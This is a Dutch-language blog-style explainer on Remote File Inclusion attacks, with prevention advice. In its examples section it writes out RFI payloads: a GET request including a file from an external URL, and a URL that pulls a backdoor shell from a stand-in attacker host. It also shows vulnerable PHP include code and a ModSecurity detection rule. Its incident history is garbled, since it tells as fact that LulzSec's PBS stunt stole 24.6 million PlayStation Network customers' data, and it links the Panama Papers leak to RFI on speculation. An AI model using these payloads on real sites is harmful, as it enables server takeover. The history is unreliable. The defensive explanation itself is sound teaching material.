Uitleg en aanvalsvoorbeelden van Remote File Inclusion (RFI)

6 augustus 1991. Roept die datum een belletje? Nee, het was niet de val van de Sovjet-Unie (hoewel u in de buurt zat). Op die verder onopmerkelijke zomerdag lanceerde Tim Berners-Lee de allereerste webpagina. Meer dan dertig jaar zijn sindsdien verstreken, en websites hebben een lange weg afgelegd, nietwaar? De ooit statische omhulling is ingeruild, webpagina’s zijn dynamisch, interactief en geavanceerder dan ooit geworden. Maar met grote kracht komt grote ~~verantwoordelijkheid~~ kwetsbaarheid, en daar komen remote file inclusion exploits om de hoek kijken. Wat is remote file inclusion (RFI), vraagt u zich misschien af? Dat is waar we het hier over gaan hebben, dus maak u klaar, want het wordt een hobbelige rit.

Wat is remote file inclusion (RFI)?

Met zo min mogelijk technisch jargon is remote file inclusion (RFI) wat er gebeurt wanneer u bestanden van externe webservers in niet-gerelateerde webpagina’s plaatst. Met de websites van vandaag kunt u dat doen, en vaker wel dan niet, doet u dat expres. Normaal gesproken neemt u externe bestanden op om inhoud van externe webapplicaties weer te geven. Zolang de webapplicatie dynamisch externe inhoud (bestanden, scripts, noem maar op) opneemt, is remote file inclusion altijd mogelijk.

En, in goede handen, kan deze instelling veel goeds doen, waardoor de communicatie tussen externe webpagina’s wordt gestroomlijnd en de output van de inhoud van de pagina van de ontvanger wordt verhoogd. In verkeerde handen kan dezelfde instelling echter leiden tot een remote file inclusion aanval, en die kunnen kritiek zijn.

Hoe zijn remote file inclusion-aanvallen mogelijk?

Het doel van hackers is om de referentiefunctie van de webapplicatie te misleiden om malware (zoals backdoor shells) te uploaden vanaf externe URL’s binnen verschillende domeinen.

Wanneer ze daarin slagen, kan een succesvolle remote file inclusion aanval ernstige problemen veroorzaken. Diefstal van gevoelige informatie, gecompromitteerde servers, volledige overnames van sites waarbij hackers de inhoud kunnen wijzigen, de lijst gaat maar door.

Om u het idee te geven, het hele proces ziet er ongeveer zo uit:

Met behulp van een zoekmachine identificeren aanvallers websites die kwetsbare componenten bevatten/gebruiken. Hoewel iets minder gebruikelijk, kunnen hackers ook scanners gebruiken om deze webpagina’s te identificeren.
Door misbruik te maken van de remote file inclusion kwetsbaarheid van de pagina’s, uploaden aanvallers kwaadaardige software naar de webapplicatie.
Zodra de malware is geïnstalleerd, is de app/pagina gecompromitteerd. De hackers kunnen de hele pagina wijzigen, ontsieren of verwijderen.
Vanaf daar kunnen de aanvallers ook de server kapen. Door deze als DDoS-bot te gebruiken, kunnen ze meerdere websites compromitteren.
Gegevens worden blootgelegd. Gevoelige informatie (inclusief wachtwoorden) is verkrijgbaar.

Wat is het verschil tussen RFI en LFI?

Heeft u al eerder gehoord van local file inclusion aanvallen? Goed zo. Een beetje vaag over het verschil tussen local en remote file inclusion aanvallen? Geen zorgen, we hebben u.

Zie, niet ongelijk aan RFI-aanvallen, zijn de lokale varianten vectoren die draaien om het uploaden van kwaadaardige inhoud naar servers via webbrowsers. Omdat ze nogal op elkaar lijken, verwijzen mensen vaak naar deze twee vectoren samen wanneer ze het hebben over file inclusion kwetsbaarheden.

Remote of niet, de aanval kan als succesvol worden beschouwd wanneer hackers erin slagen malware te uploaden naar de doelservers. Waar de twee aanvallen uiteenlopen, is in het midden. In tegenstelling tot remote file inclusion aanvallen, LFI-aanvallen vertrouwen op het misbruiken van onveilige lokale file upload functies.

Wanneer ze er niet in slagen door de gebruiker aangeleverde en gecontroleerde invoer te valideren, kunnen kwaadaardige karakters een directory path traversal exploit uploaden en uitvoeren.

Met deze methode kunnen hackers malware uploaden naar een gecompromitteerd systeem zonder virtuele omwegen te nemen. De liefhebbers van remote file inclusion aanvallen moeten deze daarentegen ophalen via een gemanipuleerde externe referentiefunctie vanaf een externe locatie.

Heeft u nog geen goed begrip van het onderwerp? Het is oké. Laten we een paar voorbeelden uitlichten om te zien hoe deze kwetsbaarheden er in de praktijk uitzien.

Voorbeelden van remote file inclusion

Nogmaals, een remote file inclusion aanval is mogelijk wanneer hackers bestanden van externe webservers in niet-gerelateerde webpagina’s plaatsen. Hoe kunnen ze dat doen? Met deze (onder andere) methoden:

De afrondende vraagteken-case

Het toevoegen van een vraagteken aan het einde van de geïnjecteerde RFI-payload is gemakkelijk een van de meest voorkomende en veelgebruikte RFI-technieken. Deze methode, die een pagina leent uit het boek van SQL-injecties, gebruikt commentaar-specifiers (– , ;– of #) aan het einde van de payloads.

De zet is logisch, omdat de mensen achter de RFI-aanval doen wat de rest van de PHP-code (die ze infecteren) zou moeten doen. Omdat dat het geval is, laten de “?”-tekens het systeem de ongerepte code behandelen als een parameter voor de geïnjecteerde RFI-code. Vanaf daar ‘negeert’ de RFI-code de legitieme code en voert alleen zijn eigen code uit. Een typische afrondende vraagteken-aanval ziet er ongeveer zo uit:

GET//components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://www.miranda.gov.ve/desamiranda/libraries/export/cgi??? HTTP/1.0

De meest efficiënte (en directe) manier om een dergelijke aanval te detecteren, is door te zoeken naar “(ft|htt)ps?.*?$”. Om u een voorbeeld te geven:

SecRule ARGS "(?:ft|htt)ps?.*?+$"  "phase:2,rev:'2.2.2',t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,block,status:501,msg:'Remote File Inclusion Attack',id:'950119',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.rfi_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}"

De request parameter case

Wellicht de op één na meest favoriete aanvalstechniek onder liefhebbers van RFI-kwetsbaarheden is waar ze de request parameters manipuleren, waardoor deze verwijzen naar externe kwaadaardige bestanden. Om dit te illustreren, kijkt u naar de onderstaande code:

$incfile = $_REQUEST["file"]; include($incfile.".php");

In dit geval is de 1e regel bezig met het extraheren van de waarde van de ‘file’-parameter uit het volgende HTTP-verzoek, terwijl de 2e regel die waarde dynamisch de bestandsnaam laat bepalen. Omdat de waarde van de ‘file’-parameter niet correct wordt gesaneerd, kunnen hackers deze code misbruiken en ongeautoriseerde bestanden uploaden.

Overweeg de volgende URL-string: http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_. Wat we hier zien is een externe verwijzing die een backdoor-bestand toevoegt dat is opgeslagen op een externe locatie (http://www.hacker.com/backdoor_shell.php.).

Eenmaal geüpload naar de app, zal deze kleine backdoor het kapen van de onderliggende structuur van de server en het verkrijgen van toegang tot de database van de app een absolute walk in the park maken.

Nadat het naar de applicatie is geüpload, kan deze backdoor later worden gebruikt om de onderliggende server te kapen of toegang te krijgen tot de applicatie database.

Hoewel er talloze backdoor shells bestaan, gaan de meeste RFI-aanvallers meestal voor de R57.

De PHP file case

Stelt u zich eens voor, een ontwikkelaar die een lokaal bestand wil opnemen dat overeenkomt met de opgegeven pagina via een GET-parameter. Die persoon zou werken met verschillende PHP-bestanden zoals contact.php, main.php en about.php. Zoals u weet, bieden al deze bestanden verschillende functionaliteiten aan de webpagina. Toch kunt u elk bestand aanroepen met behulp van het onderstaande verzoek dat u naar het index.php-bestand stuurt:

https://example.com/index.php?page=contact.php

Hier zou de ontwikkelaar verwachten dat alleen de bestanden binnen die map worden opgenomen. Het is echter mogelijk voor aanvallers om bestanden uit een andere map (LFI) of van verschillende webservers (RFI) op te nemen. Dat is vooral het geval wanneer de web-app geen bestandswhitelist heeft.

Sterker nog, als u geen whitelist hebt met de enige toegestane bestanden, kunnen hackers gemakkelijk het bestandspad naar de include-functie (of het equivalent daarvan in een andere programmeertaal) omzetten. Aanvallers kunnen ook lokale bestanden opnemen, maar vaker wel dan niet, veranderen ze gewoon het pad naar het bestand dat zich op de door de hacker gecontroleerde locatie bevindt.

Na succesvolle uitvoering kunnen de indringers kwaadaardige code in het bestand schrijven zonder logboeken te vergiftigen of code in de webserver te injecteren.

Voorbeelden uit het echte leven van RFI

Ondanks zijn eenvoud heeft de RFI-aanvalsvector al vele malen serieuze schade kunnen aanrichten. De volgende zijn de grootste voorbeelden:

De LulzSec-kruistocht

De zichzelf identificerende beveiligingsgemeenschap gaat zelden met het respect om dat remote file inclusion kwetsbaarheden verdienen. En zeker, het is niet de meest geavanceerde aanval die er is. Desalniettemin kan het, en soms doet het, een enorme impact hebben.

De bekendste RFI-aanval werd meer dan 10 jaar geleden uitgevoerd. Midden mei 2011 identificeerde een hacker-groep die zichzelf LulzSec noemde een zwakte in FOX.com en drong de website binnen met RFI-bots. Met deze bots konden ze de persoonlijke informatie (profielen en namen) van 73.000 X Factor US-kandidaten lekken. Na dit incident kon dezelfde groep een nep-nieuwsbericht plaatsen op PBS, waarbij gegevens werden gestolen van wel 24,6 miljoen Sony’s PlayStation Network-klanten.

Het Panama Papers-incident

Gemakkelijk een van de belangrijkste en meest besproken hack-incidenten van het afgelopen decennium, de Panama Papers waren een verzameling van 11,5 miljoen documenten van Mossack Fonseca. In 2015 gelekt aan de Duitse journalist Bastian Obermayer, bereikte het nieuws het publiek in april 2016. Omdat de omvang van de gelekte gegevens zo enorm was, werd het Internationaal Consortium van Onderzoeksjournalisten benaderd.

Voor het geval u het niet weet, de betekenis van het incident ligt in de praktisch ontelbare publieke figuren (verleden en heden) die betrokken waren bij het schandaal. Door de duistere financiële transacties van deze figuren bloot te leggen (inclusief banden met belastingparadijzen, drugskartels en terroristen), wisten deze documenten de gemoederen flink op te roeren. Sommige publieke figuren moesten aftreden, sommigen moesten verhuizen, en sommigen werden zelfs gearresteerd dankzij de lek.

Kortom, dit incident was enorm. Er is slechts één kanttekening: we weten niet zeker of het een remote file inclusion aanval was die de genadeslag toebracht. Omdat de website werd gehost op verouderde software (en omdat de documenten in delen aan het publiek werden gelekt), is de werkelijke aanvalsmethode onbekend. Toch is er voldoende bewijs en reden om aan te nemen dat RFI tot de vectoren behoorde die de site ten val brachten.

RFI Preventie & Mitigatie

RFI-aanvallen kunnen enorme schade aanrichten. Het goede nieuws is dat er verschillende beveiligingsmaatregelen zijn die u kunt nemen om remote file inclusion aanvallen te voorkomen en te mitigeren. Naast het schrijven van een onberispelijke code die kwetsbaarheden minimaliseert, zijn dit de stappen die iedereen kan nemen voor RFI-preventie:

Sanering. Een techniek waarbij u mogelijk schadelijke gebruikersinvoer opspoort en verwijdert.
Validatie. Hier test u de gebruikersinvoer voordat u deze opneemt of uitvoert.
Kwadetsverkenning. Hier gebruikt u elk effectief hulpmiddel tot uw beschikking (commercieel of gratis, zolang het werkt) om de app regelmatig te scannen op potentiële RFI-dreigingen.
Whitelist. Maak een whitelist die alle geverifieerde en beveiligde bestandstypen/teksten voor u bijhoudt. Alles wat u niet aan de whitelist hebt toegevoegd, kan (en moet) worden genegeerd.
Blacklist. Identificeer de aanvallers en schadelijke URL’s die publiekelijk beschikbaar zijn en voeg deze toe aan de blacklist. U kunt ook degenen toevoegen die al hebben geprobeerd uw website en/of server te infiltreren.
Code review. De firewall van uw web-app moet een code-review functie hebben. Activeer deze om u te helpen kwetsbaarheden in de code te vinden.

Conclusie

Remote file inclusion aanvallen behoren niet tot de meest geavanceerde aanvalsvectoren. En dat is precies waarom ze een serieuze bedreiging kunnen vormen. Omdat u niet denkt dat u kwetsbaar bent totdat het te laat is, kan RFI u gemakkelijk overrompelen en laten betalen. Dat gezegd hebbende, mits u de bovengenoemde suggesties niet negeert en voorzichtig bent, zou het goed moeten komen.